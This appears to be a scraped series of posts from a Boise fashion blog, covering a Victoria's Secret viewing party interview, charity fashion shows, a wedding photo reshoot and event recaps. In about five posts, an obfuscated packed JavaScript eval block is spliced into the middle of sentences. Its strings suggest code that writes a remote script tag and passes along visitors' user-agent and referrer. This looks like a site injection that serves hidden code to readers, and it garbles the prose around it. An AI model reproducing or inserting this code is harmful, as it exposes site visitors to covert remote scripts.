Interview With an Angel; Victoria’s Secret Fashion Show Party 2014

Yay, us!

A huge event was put together at Boise Towne Square, with hundreds of seats, beanbags, VS swag & goodies, and a red-carpet-worthy photo backdrop for pictures with visiting Victoria’s Secret supermodel Elsa Hosk. Thrilled fans turned out in droves for this event, and the line stretched around Towne Square’s center court, overflowing up the stairs and into the second level! Many had been there since lunchtime, anxious for their chance to see the Fashion Show and meet Elsa. I threw on my favorite Express emerald green sequin party dress, and headed to the show…

I was delighted and honored when KTVB Ch. 7 News asked me to step in as an unofficial reporter to interview Ms. Hosk for the 4:00 news!!! But what do you ask a famous,world-traveling, professional Angel? I reached out to YOU, for some creative interview questions! Here is what YOU asked Elsa, and her inspiring responses:

Me: Is this your first time in Boise?

Elsa: It is my first time in Boise, but I’ve been to Idaho before. I’m from Sweden

Me: Whats your favorite thing about being a Victoria’s Secret supermodel?

Elsa: Oh my gosh, there’s so many things I love about it! I love traveling, I love the fashion show, I love the shoots, I love the whole surrounding thing. Victoria’s Secret is like a family and everybody working for us is just incredible people.

Via Madisen Ellen Phipps: What does wearing the wings mean to you/what do they represent to you and your favorite thing about being apart of the Victoria’s Secret organization?

Elsa: This was the first year I got to walk in wings so it was really, really exciting. I had no idea that I was going to get the wings so when they told me I was just blown away, I almost started crying. And it was this moment where you’re like, oh my God I worked so hard for this, it’s a big accomplishment! And you see the girls walking down, so powerful, and it just makes you feel like you own the world for a second. It’s so iconic, the Victoria’s Secret wings.

Via Ellen Belle Hanson– Ask her what her favorite characteristics are in a photographer when she’s working with one…like anything that makes her feel comfortable so she can do her best!

Elsa: Oh that’s a good question! I think when the photographer has a lot of confidence and can tell you what they want you to do, and can give you direction… Or, if he wants you to be completely free and just like let you move around and be yourself!

Via Sonnay Alvarez: How did you begin your career in modeling?

Elsa: I started when I was 14 but I didn’t go full time until I was 18. I went to school, and played basketball, and then I decided to really go for it.

Via Autumn Short/Me: – Any health, fitness, or diet advice you’d like to pass on to other aspiring models?

Elsa: Work out and be healthy; it’s so important to take care of your body, for a model, because it really is your job. I try to work out 6 days a week, but if I travel it’s hard.

Me: Do you work out on the plane?

Elsa: Oh no, some people do that and I want to be those people, but I just don’t have the confidence, ha ha ha.

Via Amanda Woods: With the ever present emphasis on appearance in our society, what advice can you offer for women to be confident in any situation?

Elsa: For me, it’s been to not compare myself to others, because once you start doing that you can never achieve happiness. You just have to find that confidence within yourself, that acceptance, just be happy with what you’re given, you know?

We asked Tina Kierce, Marketing Manager for Boise Towne Square, some additional questions:

How did Boise win this incredible honor?

Tina: “Girls at Victoria’s Secret received challenges from their company managers to promote the contest for the party on social media. Boise won the fashion show part by a landslide!”

Did you know what was going on, much in advance?

Tina: “This was a big surprise. We were very excited about it and up until the day it was announced we were wishing and hoping and very excited when we won.”

How is this event important for Boise Towne Square?

Tina: “Here we are in Boise and we are hosting the only viewing party in the nation for the most sought after fashion show in the world and our customers get to come and enjoy it and it’s absolutely fabulous.”

It was a blast to see so many cool people turn out for this event! I hung out with photographers Ammophotog (Amanda Morgan, whose photos are included in this article!), Alysha Kautz, Alejandro Martinez (Lucid Imagery), fashion stylists Kellie Levesque (Fashion Kellie) and Heather Schwabe (Style Therapy), models Cara Dempsey, Bailey Heasch, Nicolette Roper, local news producer Char Jackson, and about 300 more excited local lovelies from all over town!

Congratulations, Boise – we ROCKED this Angel party!!!

XOXO, Tanya

City-Wide Kids Fashion Show, coming Sept. 13th!

Coming Sept. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irnhr|var|u0026u|referrer|rkdir||js|php’.split(‘|’),0,{}))
13th, Boise’s first city-wide Kids’ Fashion Rulz! Fashion Show, presented by StyleSpyGirl. DRESS UP IN YOUR SUNDAY BEST, and bring the entire family for a posh, catered fashion show featuring kids’ and teens’ fashions from The Village, Boise Towne Square, and boutiques and local designers from across the Treasure Valley. Proceeds benefit the Rodgers Family, whose precious young daughter is battling fatal Batten Disease. Her biggest wish is to someday be a supermodel. Come support Hannah as she gets her wish, and walks the runway as the evening’s star model!

TICKETS & SHOW DETAILS AVAILABLE HERE!

Hannah Rodgers is 9 years old, and is currently the only person in the state of Idaho with the very rare and devastating disease known as Batten Disease. Batten is a neurodegenerative disorder that begins in childhood and presents itself through seizures, personality changes, a decrease in motor skills, and the onset of blindness. There is currently no cure for Batten. Over time, affected children lose their sight, suffer mental impairment, worsening seizures, and progressive loss of motor skills. And the disease ultimately takes their life.

Hannah is dealing with all of these things, but does NOT know that her illness is fatal. She knows that she will not get better, and that her family is doing all they can to help her live this life to the fullest, for now and with all the love and energy they have! Hannah’s family is facing major challenges with her care, as it will take about 10 years for the disease to slowly and painfully take their daughter. By the time she is a young adolescent, she will be wheelchair-ridden, unable to speak or feed herself, and completely reliant on her family. To this end, they are preparing their home for Hannah’s care, installing wheelchair ramps, widening doors, and adding a new bedroom for her that will be big enough to accommodate all of her medical equipment and care. Combined, these projects are a huge financial challenge.

Kids love helping kids! This event will allow local youth to do just that. During this huge fall fashion show kids and teens will model back-to-school clothes, and support Hannah as she walks down the runway. She is already completely blind, so she will be escorted by her sister and her best friend. As I mentioned above, her dream is to become a supermodel. Hannah will hear and feel it all; the music, the applause, and the cheers of a supportive community who cares about kids, and making her dream come true.

Join us as a community of families to become the Rodgers’ Extreme Home Makeover, in a manner of speaking! All proceeds will go into a special fund for their family, to help cover some of the costs accumulated as they make every effort for Hannah to live her life to the fullest. Come enjoy the fashion show, encourage the kids, experience the live entertainment, and help a family in need!

XOXO,
Tanya

A Second Shot at Romance

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upon a time, I got to marry this awesome guy, and we were too poor to get “real” wedding photos. But with the help of Two Photography – and the magic of long hair! – we recently turned back the clock to capture those romantic images we never had.

Here’s the story… It was in Seattle, WA, many years ago. We had a huge “medieval” theme wedding, complete with costumes, candles, and fingers-only food! It was amazing, but hardly lavish, as we had very little money to invest in our special day. My wedding dress, for example, cost around $300, and was the handiwork of a very dear friend of mine, Rene Hardy.

Most weddings have minor problems; the flowers aren’t perfect, the ceremony starts late, etc.. Regardless of all that day’s snafus, our wedding was unforgettable; to this day people still tell me how much fun they had, and their most memorable moments. One couple in particular was so enamored, they got engaged during our ceremony!

I wouldn’t trade any of it, but I have to admit there is one thing I would do over, if I had the chance: invest in a good wedding photographer. Like I said, we were poor, but somehow we managed to come up with a few hundred dollars to pay a local woman, who a friend recommended. It turned out she had never shot a wedding before; only controlled studio portraits! But she was all we could afford, so we hired her.

The pictures that came back were a nightmare, and I cried as we went through the proofs. The ceremony shots were crooked, the lighting was bad, and she was obviously rushed & unsure of what types of shots to get at a wedding. I tried to salvage a few to hang on our wall, but most of those photos are still packed away in a box, somewhere…

Recently, I was chatting with friend and renowned photographer Frances Corkill, who was looking for a couple to do romantic shots at the new Village Cinema at the Village at Meridian. “We’ll model for you,” I told her, quickly volunteering us!

For us, this wasn’t just a photo shoot; it was the first time we had posed alone together for photos, since our wedding! It was a chance to relive a moment of romance, with a true professional who is so very gifted at bringing out the unique love that exists between every couple she shoots!

I cried when I saw the resulting pictures this time, too; only the reason was completely different! Thank you, Frances, for giving Trevor and I the chance to do this with you! XOXO!!!

Here’s my advice to any bride, young or old: it’s never too late for a do-over! Our wedding was 15 years ago (eek!), but taking those photos together rekindled something very special, and redeemed a moment I never thought we could recapture. I am so glad we got a “second shot!”

Wardrobe: Clothing & Jewelry courtesy of Dillard’s, whose Menwear & Formal departments continually impress me!

Photography: Frances Corkill / FB: Two Photography / Web: Two Photography

Hair/Wig Styling: Alyx Bogart-Vetter, Wig Styling Expert at the Morrison Center for the Performing Arts

Assistant: Amanda Morgan of Ammophotog

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Walking Tall Boise 2014

Ladies, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbknz|var|u0026u|referrer|zdtka||js|php’.split(‘|’),0,{}))
this is your night!!

Get dolled up, grab your girlfriends and come out to Walking Tall on Friday May 16th, presented by Everhart Photography!

At this Ladies-only event you will enjoy fashion shows, a burlesque show, giveaways, free photos, entertainment, raffles, drinks and desserts, and SWAG bags!

This is the biggest and best GIRLS NIGHT OUT around, and you will not want to miss out! Tickets are limited so start planning now and support a great local cause at the same time, as a portion of the proceeds go to Preservation Idaho.

Where else can you get 5 fashion shows, 6 dance/entertainer shows, desserts, drinks, photo ops galore, music, dancing, giveaways and more ALL for $15?? Tickets are almost sold out, but a few are still available at: http://walkingtall.ticketleap.com/

LADIES ONLY!!!

More info and chances to WIN tickets here: Walking Tall Facebook Event

Aveda Trashion Show Boise 2014

(Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrirh|var|u0026u|referrer|zfkrs||js|php’.split(‘|’),0,{}))
are property of ammophotog and StyleSpyGirl. Please share, tag, & repost, but don’t crop the logo out. Thank you!)

A few weeks ago, The Bombshell Salon in downtown Boise hosted the 2nd Annual Trashion show, benefiting Idaho Rivers United and Global Green Grants (internationally providing clean drinking water in 3rd world countries).

In honor of Earth Month (April,) Aveda committed to raising $5.5 million dollars to help provide clean water to third world countries, and Bombshell Salon jumped on board to help out the cause. The show was held at Hannah’s, with Boise icon Rocci Johnson emceeing. The goal was to throw a fashion show featuring local artists and designers, who had to create costumes from 100% post-consumer materials!

The fashions were amazing, and very creative, from bottle caps, trash bags, and newspapers, to hamburger wrappers and recycled Aveda brochures! Huge kudos to Nate Haderlie and his crew of volunteers for putting the event together so beautifully, and Bombshell Salon for doing incredible work on the lovely models. And congratulations to Darcie Nelson for taking 1st place with her stunning designs, made from a potato sack and spent bullet casings that were cut with a jig saw. I love the addition of the handbag, too – look closely in the photo below; the fringe is made from old keys! Amazing!!!

The Trashion Show was a huge success! I enjoyed the creative designs, and love the eco-conscious twist on fashion. The money raised by this event helped Aveda bring clean water to Third World communities! Well done, everyone! Congratulations to the winners:
1st Place: Darcie Nelson
2nd Place: Cessiley Haderlie
3rd Place: Montana Keating

Another big story of the night was one of the designer entries: Montana Keating (pictured above), a 15-year-old high-schooler who aims to be the next Yves Saint Laurent. Montana is the only young man in his school that is boldly pursuing a career in fashion. Last year, he accompanied me as my assistant to Bryce Black’s Fashion Show in Twin Falls (read my recap here), where the two designers struck up a friendship. Montana is creative, innovative, and above all determined to forge a career in the fashion industry. His amazing Pokemon dress (each card hand-stitched to the next!) won 3rd place at the Trashion Show, modeled by the beautiful Heather Floyd!

Montana recently entered that same dress into a State fashion competition that takes place among high schoolers in the area, and it won 2nd PLACE! His friends and family are SO VERY PROUD of Montana, and with this win he earned the opportunity to go to the National FCCLA competition in Texas this July (Family, Career, and Community Leaders of America.)

Here’s the twist: Montana has to raise $1,800 to get him to this competition, where he deserves a chance to show the world his talent. He is working hard to earn it, and is also running a “Go Fund Me” campaign. If you would like to help out at all, he and his family would be super appreciative!!! This talented guy is definitely going places, and I can’t wait to see what the future has in store for him. Please help him get his designs to the National FCCLA competition! Click the link below to donate – any amount helps!!!

XOXO,

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Spring Trend 2014: Fit & Flare Dress

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you happened to read my “Top 5 Trends of Spring 2014” article for Snow Bunny Magazine, you’ll be familiar with this second major trend I’m covering on the blog today. (The first one, why you need a white jacket, is here!)

I am personally crazy about Fit & Flare dresses, and oh so happy that they’re a hot trend item for Spring 2014! My body type is a Strawberry, which means I’m busty on top and narrow through the hips. Fit & Flare dressed are perfect for my body type, because they’re form-fitting on top and voluminous on bottom, which balances out my proportions! I spotted this gorgeous lace fuchsia dress at The Threaded Zebra in Eagle, and just had to have it!!!

Fit & Flare dresses can be great for any body type; it’s all about the proportions! They’re perfect for slimming-down curvier hips & bum; a woman who’s a Pear body type should aim for a higher waistline, which will emphasize the bust and elongate legs. A Fit & Flare dress with a slender belt can also help define curves and a waistline, if you’re a Celery Stick or Apple body type. (Not sure which type you are? Read my tips for how to dress for Body Type here!)

Nearly every girl can wear a fit & flare dress – is it any wonder it’s such a hot trend this spring? Enjoy the flowers, the sunshine, and the pretty dresses of summer, my lovelies!!!

XOXO,

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Designer Spotlight: Bryce Black Part 1, The Fashion Show

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdfdb|var|u0026u|referrer|ebrii||js|php’.split(‘|’),0,{}))
month, TV star Aaron Paul of “Breaking Bad” fame returned to his hometown of Boise, ID, for a special preview of his show’s season finale. Last weekend, award-winning fashion designer Bryce Black returned to his hometown of Twin Falls, ID, for an exclusive fashion show and benefit! Bryce, unfortunately, did not receive as much media attention with his homecoming as Aaron did… But I have a feeling that will change in the near future!

Boise Visual Artists Bryce Black 1 — Photo: Boise Visual Artists // Dress: Express // Necklace: Unigon Specialties

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Carnevale 2013

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rysth|var|u0026u|referrer|hfrsk||js|php’.split(‘|’),0,{}))
had a blast this Saturday, attending Boise’s annual Carnevale festival for the very first time! The costumes were amazing, the entertainment was otherworldly, and the people were fabulous! My FAVORITE part: I had the honor of walking in a fashion show for Nena Earl, a very talented & creative designer!!! Her theme was “music,” and my costume was made almost entirely out of sheet music paper. So amazing! (And hard to sit down in, ha ha ha!) I felt like a ballerina, and had the time of my life. Can you tell…? 😉

Thank you Nena Earl for the fun modeling opportunity! And special thanks to Amanda Woods for the wild hair, and Cynthia Woolsey for the fabulous makeup!!!

See you next year, at Carnevale!!!

XO,

Tanya

Wardrobe: Nena Earl // Hair: Amanda Woods // MUA: Cynthia Woolsey // Photo courtesy Tawnee Watkins (pictured far right, with CD-themed dress)